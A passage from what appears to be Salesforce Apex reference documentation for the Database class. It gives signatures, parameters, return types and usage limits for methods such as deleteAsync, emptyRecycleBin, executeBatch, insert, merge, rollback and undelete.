Each executed delete method counts against the governor limit for DML statements.
deleteAsync(sobjects, callback)

Initiates requests to delete the external data that corresponds to the specified external object records. The request is executed asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing a callback class whose processDelete method is called for each record after deletion.

Signature

```
public static List<Database.DeleteResult> deleteAsync(List<SObject> sobjects,
DataSource.AsyncDeleteCallback callback)
```

Parameters

- **sobjects**
  - Type: List<SObject>
  - List of external object records to delete.

- **callback**
  - Type: DataSource.AsyncDeleteCallback
  - The callback that contains the state in the originating context and an action (the processDelete method) that is executed after the insert operation is completed. Use the action callback to update org data according to the operation's results. The callback object must extend DataSource.AsyncDeleteCallback.

Return Value

Type: List<Database.DeleteResult>

Status results for the delete operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().

deleteAsync(object, callback)

Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing a callback class whose processDelete method is called after deletion.

Signature

```
public static Database.DeleteResult deleteAsync(SObject object,
DataSource.AsyncDeleteCallback callback)
```

Parameters

- **object**
  - Type: SObject
  - The external object record to delete.

- **callback**
  - Type: DataSource.AsyncDeleteCallback
The callback that contains the state in the originating context and an action (the `processDelete` method) that is executed after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object must extend `DataSource.AsyncDeleteCallback`.

**Return Value**

**Type: Database.DeleteResult**

Status result for the delete operation. The result corresponds to the record processed by this asynchronous operation and is associated with a unique identifier (`asyncLocator`). The `asyncLocator` value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncDeleteResult()`.

**deleteAsync(sobjects)**

Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

**Signature**

```java
public static List<Database.DeleteResult> deleteAsync(List<SObject> sobjects)
```

**Parameters**

- `sobjects`
  - **Type:** List<SObject>
  - List of external object records to delete.

**Return Value**

**Type: List<Database.DeleteResult>**

Status results for the delete operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (`asyncLocator`). The `asyncLocator` value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncDeleteResult()`.

**deleteAsync(object)**

Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

**Signature**

```java
public static Database.DeleteResult deleteAsync(SObject object)
```

**Parameters**

- `object`
  - **Type:** SObject
  - The external object record to delete.
Return Value

Type: Database.DeleteResult

Status result for the delete operation. The result corresponds to the record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().

**deleteImmediate (sobjects)**

Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.

**Signature**

```java
public static List<Database.DeleteResult> deleteImmediate(List<SObject> sobjects)
```

**Parameters**

- **sobjects**
  - Type: List<SObject>
  - List of external object records to delete.

**Return Value**

Type: List<Database.DeleteResult>

Status results for the delete operation.

**Usage**

The batch limit for big objects using `deleteImmediate()` is 50,000 records at once.

**deleteImmediate (object)**

Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can’t be completed and throws an exception.

**Signature**

```java
public static Database.DeleteResult deleteImmediate(SObject object)
```

**Parameters**

- **object**
  - Type: SObject
  - The external object record to delete.
Return Value
Type: Database.DeleteResult
Status result for the delete operation.

`emptyRecycleBin(recordIds)`
Permanently deletes the specified records from the Recycle Bin.

Signature
`public static Database.EmptyRecycleBinResult[] emptyRecycleBin(ID [] recordIds)`

Parameters
`recordIds`
Type: ID[]

Return Value
Type: Database.EmptyRecycleBinResult[]

Usage
Note the following:
- After records are deleted using this method, they cannot be undeleted.
- Only 10,000 records can be specified for deletion.
- Logged in users can delete any record that they can query in their Recycle Bin, or the recycle bins of any subordinates. If logged in users have "Modify All Data" permission, they can query and delete records from any Recycle Bin in the organization.
- Cascade delete record IDs should not be included in the list of IDs; otherwise an error occurs. For example, if an account record is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include the Id of the top-level account. All related records are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. Each executed `emptyRecycleBin` method counts against the governor limit for DML statements.

`emptyRecycleBin(obj)`
Permanently deletes the specified sObject from the Recycle Bin.

Signature
`public static Database.EmptyRecycleBinResult emptyRecycleBin(sObject obj)`

Parameters
`obj`
Type: sObject
Return Value
Type: Database.EmptyRecycleBinResult

Usage
Note the following:

- After an sObject is deleted using this method, it cannot be undeleted.
- Only 10,000 sObjects can be specified for deletion.
- The logged-in user can delete any sObject (that can be queried) in their Recycle Bin, or the recycle bins of any subordinates. If the logged-in user has “Modify All Data” permission, they can query and delete sObjects from any Recycle Bin in the organization.
- Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top-level account. All related sObjects are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. Each executed emptyRecycleBin method counts against the governor limit for DML statements.

emptyRecycleBin(listOfSObjects)
Permanently deletes the specified sObjects from the Recycle Bin.

Signature
public static Database.EmptyRecycleBinResult[] emptyRecycleBin(sObject[] listOfSObjects)

Parameters

listOfSObjects
  Type: sObject[]

Return Value
Type: Database.EmptyRecycleBinResult[]

Usage
Note the following:

- After an sObject is deleted using this method, it cannot be undeleted.
- Only 10,000 sObjects can be specified for deletion.
- The logged-in user can delete any sObject (that can be queried) in their Recycle Bin, or the recycle bins of any subordinates. If the logged-in user has “Modify All Data” permission, they can query and delete sObjects from any Recycle Bin in the organization.
- Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top-level account. All related sObjects are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. Each executed emptyRecycleBin method counts against the governor limit for DML statements.
**executeBatch(batchClassObject)**
Submits a batch Apex job for execution corresponding to the specified class.

**Signature**
```
public static ID executeBatch(Object batchClassObject)
```

**Parameters**
- **batchClassObject**
  - Type: Object
  - An instance of a class that implements the Database.Batchable interface.

**Return Value**
- Type: ID
  - The ID of the new batch job (AsyncApexJob).

If the `executeBatch` call fails to acquire an Apex flex queue lock, the call returns an empty ID, "000000000000000", instead of throwing an exception.

**Usage**
When calling this method, Salesforce chunks the records returned by the `start` method of the batch class into batches of 200, and then passes each batch to the `execute` method. Apex governor limits are reset for each execution of `execute`.
For more information, see Using Batch Apex on page 263.

**executeBatch(batchClassObject, scope)**
Submits a batch Apex job for execution using the specified class and scope.

**Signature**
```
public static ID executeBatch(Object batchClassObject, Integer scope)
```

**Parameters**
- **batchClassObject**
  - Type: Object
  - An instance of a class that implements the Database.Batchable interface.
- **scope**
  - Type: Integer
  - Number of records to be passed into the `execute` method for batch processing.

**Return Value**
- Type: ID
  - The ID of the new batch job (AsyncApexJob).
If the `executeBatch` call fails to acquire an Apex flex queue lock, the call returns an empty ID, "000000000000000", instead of throwing an exception.

Usage
The value for `scope` must be greater than 0.
If the `start` method of the batch class returns a `Database.QueryLocator`, the scope parameter of `Database.executeBatch` can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 200 records. If the `start` method of the batch class returns an iterable, the scope parameter value has no upper limit; however, if you use a very high number, you could run into other limits.
Apex governor limits are reset for each execution of `execute`.
For more information, see Using Batch Apex on page 263.

`getAsyncDeleteResult(deleteResult)`
Retrieves the status of an asynchronous delete operation that’s identified by a `Database.DeleteResult` object.

Signature
```
public static Database.DeleteResult getAsyncDeleteResult(Database.DeleteResult deleteResult)
```

Parameters
- `deleteResult`
  Type: `Database.DeleteResult`
  The result record for the delete operation being retrieved.

Return Value
Type: `Database.DeleteResult`
The result of a completed asynchronous delete of a record or records.

`getAsyncDeleteResult(asyncLocator)`
Retrieves the result of an asynchronous delete operation based on the result’s unique identifier.

Signature
```
public static Database.DeleteResult getAsyncDeleteResult(String asyncLocator)
```

Parameters
- `asyncLocator`
  Type: `String`
  The unique identifier associated with the result of an asynchronous operation.
Return Value
Type: Database.DeleteResult
The result of a completed asynchronous delete of a record or records.

getAsyncLocator(result)
Returns the asyncLocator associated with the result of a specified asynchronous insert, update, or delete operation.

Signature
public static String getAsyncLocator(Object result)

Parameters
result
Type: Object
The saved result of an asynchronous insert, update, or delete operation. The result object can be of type Database.SaveResult or Database.DeleteResult.

Return Value
Type: String
The unique identifier associated with the result of the specified operation.

getAsyncSaveResult(saveResult)
Returns the status of an asynchronous insert or update operation that’s identified by a Database.SaveResult object.

Signature
public static Database.SaveResult getAsyncSaveResult(Database.SaveResult saveResult)

Parameters
saveResult
Type: Database.SaveResult
The result record for the insert or update operation being retrieved.

Return Value
Database.SaveResult
The result of a completed asynchronous operation on a record or records.

getAsyncSaveResult(asyncLocator)
Returns the status of an asynchronous insert or update operation based on the unique identifier associated with each modification.
public static Database.SaveResult getAsyncSaveResult(String asyncLocator)

Parameters
asyncLocator
  Type: String
  The unique identifier associated with the result of an asynchronous operation.

Return Value
Database.SaveResult
The result of a completed asynchronous operation on a record or records.

getDeleted(sObjectType, startDate, endDate)
Returns the list of individual records that have been deleted for an sObject type within the specified start and end dates and times and that are still in the Recycle Bin.

Signature
public static Database.GetDeletedResult getDeleted(String sObjectType, Datetime startDate, Datetime endDate)

Parameters
sObjectType
  Type: String
  The sObjectType argument is the sObject type name for which to get the deleted records, such as account or merchandise__c.

startDate
  Type: Datetime
  Start date and time of the deleted records time window.

endDate
  Type: Datetime
  End date and time of the deleted records time window.

Return Value
Type: Database.GetDeletedResult

Usage
Because the Recycle Bin holds records up to 15 days, results are returned for no more than 15 days previous to the day the call is executed (or earlier if an administrator has purged the Recycle Bin).
Example

```java
Database.GetDeletedResult r =
    Database.getDeleted(
        'Merchandise__c',
        Datetime.now().addHours(-1),
        Datetime.now());
```

**getQueryLocator(listOfQueries)**

Creates a QueryLocator object used in batch Apex or Visualforce.

**Signature**

```java
public static Database.QueryLocator getQueryLocator(sObject [] listOfQueries)
```

**Parameters**

`listOfQueries`

Type: `sObject []`

**Return Value**

Type: `Database.QueryLocator`

**Usage**

You can’t use `getQueryLocator` with any query that contains an aggregate function.

Each executed `getQueryLocator` method counts against the governor limit of 10,000 total records retrieved and the total number of SOQL queries issued.

For more information, see Understanding Apex Managed Sharing, and IdeaStandardSetController Class.

**getQueryLocator(query)**

Creates a QueryLocator object used in batch Apex or Visualforce.

**Signature**

```java
public static Database.QueryLocator getQueryLocator(String query)
```

**Parameters**

`query`

Type: `String`

**Return Value**

Type: `Database.QueryLocator`
Usage

You can’t use `getQueryLocator` with any query that contains an aggregate function.

Each executed `getQueryLocator` method counts against the governor limit of 10,000 total records retrieved and the total number of SOQL queries issued.

For more information, see Understanding Apex Managed Sharing, and StandardSetController Class.

`getUpdated(sobjectType, startDate, endDate)`

Returns the list of individual records that have been updated for an sObject type within the specified start and end dates and times.

Signature

```java
public static Database.GetUpdatedResult getUpdated(String sobjectType, Datetime startDate, Datetime endDate)
```

Parameters

- `sobjectType`
  - Type: String
  - The `sobjectType` argument is the sObject type name for which to get the updated records, such as account or merchandise__c.

- `startDate`
  - Type: Datetime
  - The `startDate` argument is the start date and time of the updated records time window.

- `endDate`
  - Type: Datetime
  - The `endDate` argument is the end date and time of the updated records time window.

Return Value

Type: `Database.GetUpdatedResult`

Usage

The date range for the returned results is no more than 30 days previous to the day the call is executed.

Example

```java
Database.GetUpdatedResult r =
    Database.getUpdated(
        'Merchandise__c',
        Datetime.now().addHours(-1),
        Datetime.now());
```

`insert(recordToInsert, allOrNone)`

Adds an sObject, such as an individual account or contact, to your organization’s data.
Signature

```java
public static Database.SaveResult insert(sObject recordToInsert, Boolean allOrNone)
```

Parameters

- `recordToInsert`  
  Type: `sObject`

- `allOrNone`  
  Type: `Boolean`

The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

Return Value

Type: `Database.SaveResult`

Usage

The `insert` method is analogous to the `INSERT` statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed `insert` method counts against the governor limit for DML statements.

- `insert(recordsToInsert, allOrNone)`  
  Adds one or more sObjects, such as individual accounts or contacts, to your organization’s data.

Signature

```java
public static Database.SaveResult[] insert(sObject[] recordsToInsert, Boolean allOrNone)
```

Parameters

- `recordsToInsert`  
  Type: `sObject[]`

- `allOrNone`  
  Type: `Boolean`

The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

Return Value

Type: `Database.SaveResult[]`
Usage

`insert` is analogous to the INSERT statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed `insert` method counts against the governor limit for DML statements.

Example

Example:

The following example inserts two accounts:

```java
Account a = new Account(name = 'Acme1');
Database.SaveResult[] lsr = Database.insert(
    new Account[]{a, new Account(Name = 'Acme2')},
    false);
```

**`insert(recordToInsert, dmlOptions)`**

Adds an sObject, such as an individual account or contact, to your organization’s data.

Signature

```java
public static Database.SaveResult insert(sObject recordToInsert, Database.DMLOptions dmlOptions)
```

Parameters

- `recordToInsert`
  - Type: `sObject`

- `dmlOptions`
  - Type: `Database.DMLOptions`

  The optional `dmlOptions` parameter specifies additional data for the transaction, such as assignment rule information or rollback behavior when errors occur during record insertions.

Return Value

Type: `Database.SaveResult`

Usage

`insert` is analogous to the INSERT statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed `insert` method counts against the governor limit for DML statements.

**`insert(recordsToInsert, dmlOptions)`**

Adds one or more sObjects, such as individual accounts or contacts, to your organization’s data.
Signature

```java
public static Database.SaveResult insert(sObject[] recordsToInsert, Database.DMLOptions dmlOptions)
```

Parameters

- `recordsToInsert`
  Type: `sObject[]`

- `dmlOptions`
  Type: `Database.DMLOptions`

   The optional `dmlOptions` parameter specifies additional data for the transaction, such as assignment rule information or rollback behavior when errors occur during record insertions.

Return Value

Type: `Database.SaveResult[]`

Usage

`insert` is analogous to the INSERT statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed `insert` method counts against the governor limit for DML statements.

**insertAsync(sobjects, callback)**

Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources. Allows referencing a callback class whose `processSave` method is called for each record after the remote operations are completed.

Signature

```java
public static List<Database.SaveResult> insertAsync(List<SObject> sobjects, DataSource.AsyncSaveCallback callback)
```

Parameters

- `sobjects`
  Type: `List<SObject>`

- `callback`
  Type: `DataSource.AsyncSaveCallback`

   The callback object that contains the state in the originating context and an action (the `processSave` method) that executes after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object must extend `DataSource.AsyncSaveCallback`. 

---

3082
Return Value
Type: List<Database.SaveResult>
Status results for the insert operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

Usage
Database.insertAsync() methods can’t be executed in the context of a portal user, even when the portal user is a community member. To add external object records via Apex, use Database.insertImmediate() methods.

**insertAsync(object, callback)**
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose processSave method is called after the remote operation is completed.

Signature
```
public static Database.SaveResult insertAsync(SObject object, DataSource.AsyncSaveCallback callback)
```

Parameters
**object**
Type: SObject
The external object record to insert.

**callback**
Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the processSave method) that executes after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object must extend DataSource.AsyncSaveCallback.

Return Value
Type: Database.SaveResult
Status result for the insert operation. The result corresponds to the record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

Usage
Database.insertAsync() methods can’t be executed in the context of a portal user, even when the portal user is a community member. To add external object records via Apex, use Database.insertImmediate() methods.
**insertAsync(sobjects)**

Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

**Signature**

```java
public static List<Database.SaveResult> insertAsync(List<SObject> sobjects)
```

**Parameters**

- **sobjects**
  - Type: List<SObject>
  - List of external object records to insert.

**Return Value**

- Type: List<Database.SaveResult>
  - Status results for the insert operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncSaveResult()`.

**Usage**

`Database.insertAsync()` methods can’t be executed in the context of a portal user, even when the portal user is a community member. To add external object records via Apex, use `Database.insertImmediate()` methods.

**insertAsync(subject)**

Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

**Signature**

```java
public static Database.SaveResult insertAsync(SObject subject)
```

**Parameters**

- **subject**
  - Type: SObject
  - The external object record to insert.

**Return Value**

- Type: Database.SaveResult
  - Status result for the insert operation. The result corresponds to the record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncSaveResult()`.
Usage

`Database.insertAsync()` methods can’t be executed in the context of a portal user, even when the portal user is a community member. To add external object records via Apex, use `Database.insertImmediate()` methods.

**insertImmediate(sobjects)**

Initiates requests to add external object data to the relevant external systems. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.

**Signature**

`public static List<Database.SaveResult> insertImmediate(List<SObject> objects)`

**Parameters**

- `objects`
  - Type: `List<SObject>`
  - List of external object records to insert.

**Return Value**

- Type: `List<Database.SaveResult>`
  - Status results for the insert operation.

**insertImmediate(object)**

Initiates a request to add external object data to the relevant external system. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can’t be completed and throws an exception.

**Signature**

`public static Database.SaveResult insertImmediate(SObject object)`

**Parameters**

- `object`
  - Type: `SObject`
  - The external object record to insert.

**Return Value**

- Type: `Database.SaveResult`
  - Status result for the insert operation.
**merge(masterRecord, duplicateId)**

Merges the specified duplicate record into the master sObject record of the same type, deleting the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.

Signature

```java
public static Database.MergeResult merge(sObject masterRecord, Id duplicateId)
```

Parameters

- **masterRecord**
  - Type: sObject
  - The master sObject record the duplicate record is merged into.

- **duplicateId**
  - Type: ID
  - The ID of the record to merge with the master. This record must be of the same sObject type as the master.

Return Value

Type: Database.MergeResult

Usage

Each executed `merge` method counts against the governor limit for DML statements.

**merge(masterRecord, duplicateRecord)**

Merges the specified duplicate sObject record into the master sObject of the same type, deleting the duplicate, and reparenting any related records.

Signature

```java
public static Database.MergeResult merge(sObject masterRecord, sObject duplicateRecord)
```

Parameters

- **masterRecord**
  - Type: sObject
  - The master sObject record the duplicate record is merged into.

- **duplicateRecord**
  - Type: sObject
  - The sObject record to merge with the master. This sObject must be of the same type as the master.

Return Value

Type: Database.MergeResult
Usage
Each executed `merge` method counts against the governor limit for DML statements.

```plaintext
merge(masterRecord, duplicateIds)
```

Merges up to two records of the same sObject type into the master sObject record, deleting the others, and reparenting any related records.

Signature
```
public static List<Database.MergeResult> merge(sObject masterRecord, List<Id> duplicateIds)
```

Parameters

- **masterRecord**
  - Type: `SObject`
  - The master sObject record the other records are merged into.

- **duplicateIds**
  - Type: `List<Id>`
  - A list of IDs of up to two records to merge with the master. These records must be of the same sObject type as the master.

Return Value

Type: `List<Database.MergeResult>`

Usage
Each executed `merge` method counts against the governor limit for DML statements.

```plaintext
merge(masterRecord, duplicateRecords)
```

Merges up to two records of the same object type into the master sObject record, deleting the others, and reparenting any related records.

Signature
```
public static List<Database.MergeResult> merge(sObject masterRecord, List<SObject> duplicateRecords)
```

Parameters

- **masterRecord**
  - Type: `SObject`
  - The master sObject record the other sObjects are merged into.

- **duplicateRecords**
  - Type: `List<SObject>`
  - A list of up to two sObject records to merge with the master. These sObjects must be of the same type as the master.
Return Value

Type: List<Database.MergeResult>

Usage

Each executed merge method counts against the governor limit for DML statements.

**merge(masterRecord, duplicateId, allOrNone)**

Merges the specified duplicate sObject record into the master sObject record of the same type, optionally returning errors, if any, deleting the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.

**Signature**

```
public static Database.MergeResult merge(sObject masterRecord, Id duplicateId, Boolean allOrNone)
```

**Parameters**

- **masterRecord**
  Type: sObject
  The master sObject record the duplicate record is merged into.

- **duplicate**
  Type: ID
  The ID of the record to merge with the master. This record must be of the same sObject type as the master.

- **allOrNone**
  Type: Boolean
  Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws an exception if the operation fails. The default is true.

Return Value

Type: Database.MergeResult

Usage

Each executed merge method counts against the governor limit for DML statements.

**merge(masterRecord, duplicateRecord, allOrNone)**

Merges the specified duplicate sObject record into the master sObject of the same type, optionally returning errors, if any, deleting the duplicate, and reparenting any related records.

**Signature**

```
public static Database.MergeResult merge(sObject masterRecord, sObject duplicateRecord, Boolean allOrNone)
```
Parameters

masterRecord
  Type: sObject
  The master sObject record the duplicate record is merged into.

duplicateRecord
  Type: sObject
  The sObject record to merge with the master. This sObject must be of the same type as the master.

allOrNone
  Type: Boolean
  Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws an exception if the operation fails. The default is true.

Return Value

Type: Database.MergeResult

Usage

Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateIds, allOrNone)

Merges up to two records of the same sObject type into the master sObject record, optionally returning errors, if any, deleting the duplicates, and reparenting any related records.

Signature

public static List<Database.MergeResult> merge(sObject masterRecord, List<Id> duplicateIds, Boolean allOrNone)

Parameters

masterRecord
  Type: SObject
  The master sObject record the other records are merged into.

duplicateIds
  Type: List<Id>
  A list of IDs of up to two records to merge with the master. These records must be of the same sObject type as the master.

allOrNone
  Type: Boolean
  Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws an exception if the operation fails. The default is true.

Return Value

Type: List<Database.MergeResult>
Usage

Each executed `merge` method counts against the governor limit for DML statements.

merge(masterRecord, duplicateRecords, allOrNone)

Merges up to two records of the same object type into the master sObject record, optionally returning errors, if any, deleting the duplicates, and reparenting any related records.

Signature

code

```java
public static List<Database.MergeResult> merge(sObject masterRecord, List<sObject> duplicateRecords, Boolean allOrNone)
```

Parameters

- **masterRecord**
  - Type: `sObject`
  - The master sObject record the other sObjects are merged into.

- **duplicateRecords**
  - Type: `List<sObject>`
  - A list of up to two sObject records to merge with the master. These sObjects must be of the same type as the master.

- **allOrNone**
  - Type: `Boolean`
  - Set to `false` to return any errors encountered in this operation as part of the returned result. If set to `true`, this method throws an exception if the operation fails. The default is `true`.

Return Value

Type: `List<Database.MergeResult>`

Usage

Each executed `merge` method counts against the governor limit for DML statements.

query(queryString)

Creates a dynamic SOQL query at runtime.

Signature

code

```java
public static sObject[] query(String queryString)
```

Parameters

- **queryString**
  - Type: `String`
Return Value
Type: sObject[]

Usage
This method can be used wherever a static SOQL query can be used, such as in regular assignment statements and for loops. Unlike inline SOQL, fields in bind variables are not supported.
For more information, see Dynamic SOQL on page 190.
Each executed query method counts against the governor limit for SOQL queries.

rollback(databaseSavepoint)
Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled back and not sent.

Signature
public static Void rollback(System.Savepoint databaseSavepoint)

Parameters
databaseSavepoint
 Type: System.Savepoint

Return Value
Type: Void

Usage
Note the following:
• Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the first run.
• Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database additional times.
• The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create an sObject to insert after a rollback.

For an example, see Transaction Control.

setSavepoint()
Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database to that point.

Signature
public static System.Savepoint setSavepoint()
Return Value
Type: System.Savepoint

Usage
Note the following:

• If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.

• References to savepoints cannot cross trigger invocations because each trigger invocation is a new trigger context. If you declare a savepoint as a static variable then try to use it across trigger contexts, you will receive a run-time error.

• Each savepoint you set counts against the governor limit for DML statements.

For an example, see Transaction Control.

**undelete(recordToUndelete, allOrNone)**
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.

**Signature**
```
public static Database.UndeleteResult undelete(sObject recordToUndelete, Boolean allOrNone)
```

**Parameters**

- **recordToUndelete**
  Type: sObject

- **allOrNone**
  Type: Boolean
  The optional *allOrNone* parameter specifies whether the operation allows partial success. If you specify *false* for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set *true*, an exception is thrown if the method is not successful.

**Return Value**
Type: Database.UndeleteResult

**Usage**
*undelete* is analogous to the UNDELETE statement in SQL.

Each executed *undelete* method counts against the governor limit for DML statements.

**undelete(recordsToUndelete, allOrNone)**
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.
Signature

```java
public static Database.UndeleteResult[] undelete(sObject[] recordsToUndelete, Boolean allOrNone)
```

Parameters

- `recordsToUndelete`
  - Type: `sObject[]`

- `allOrNone`
  - Type: `Boolean`

The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

Return Value

Type: `Database.UndeleteResult[]`

Usage

`undelete` is analogous to the UNDELETE statement in SQL.

Each executed `undelete` method counts against the governor limit for DML statements.

Example

The following example restores all accounts named 'Universal Containers'. The `ALL ROWS` keyword queries all rows for both top-level and aggregate relationships, including deleted records and archived activities.

```java
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers' ALL ROWS];
Database.UndeleteResult[] UDR_Dels = Database.undelete(savedAccts);
```

**undelete**(recordID, allOrNone)

Restores an existing sObject record, such as an individual account or contact, from your organization’s Recycle Bin.

Signature

```java
public static Database.UndeleteResult undelete(ID recordID, Boolean allOrNone)
```

Parameters

- `recordID`
  - Type: `ID`

- `allOrNone`
  - Type: `Boolean`
The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

Return Value
Type: `Database.UndeleteResult`

Usage
`undelete` is analogous to the UNDELETE statement in SQL.
Each executed `undelete` method counts against the governor limit for DML statements.

`undelete(recordIDs, allOrNone)`
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization's Recycle Bin.

Signature
`public static Database.UndeleteResult[] undelete(ID[] recordIDs, Boolean allOrNone)`

Parameters
`RecordIDs`  
Type: `ID[]`

`allOrNone`  
Type: `Boolean`

The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

Return Value
Type: `Database.UndeleteResult[]`

Usage
`undelete` is analogous to the UNDELETE statement in SQL.
Each executed `undelete` method counts against the governor limit for DML statements.

`update(recordToUpdate, allOrNone)`
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.

Signature
`public static Database.SaveResult update(sObject recordToUpdate, Boolean allOrNone)`
Parameters

recordToUpdate
Type: sObject

callOrNone
Type: Boolean

The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set true, an exception is thrown if the method is not successful.

Return Value

Type: Database.SaveResult

Usage

update is analogous to the UPDATE statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed update method counts against the governor limit for DML statements.

Example

The following example updates the BillingCity field on a single account.

```java
Account a = new Account(Name='SFDC');
insert(a);

Account myAcct =
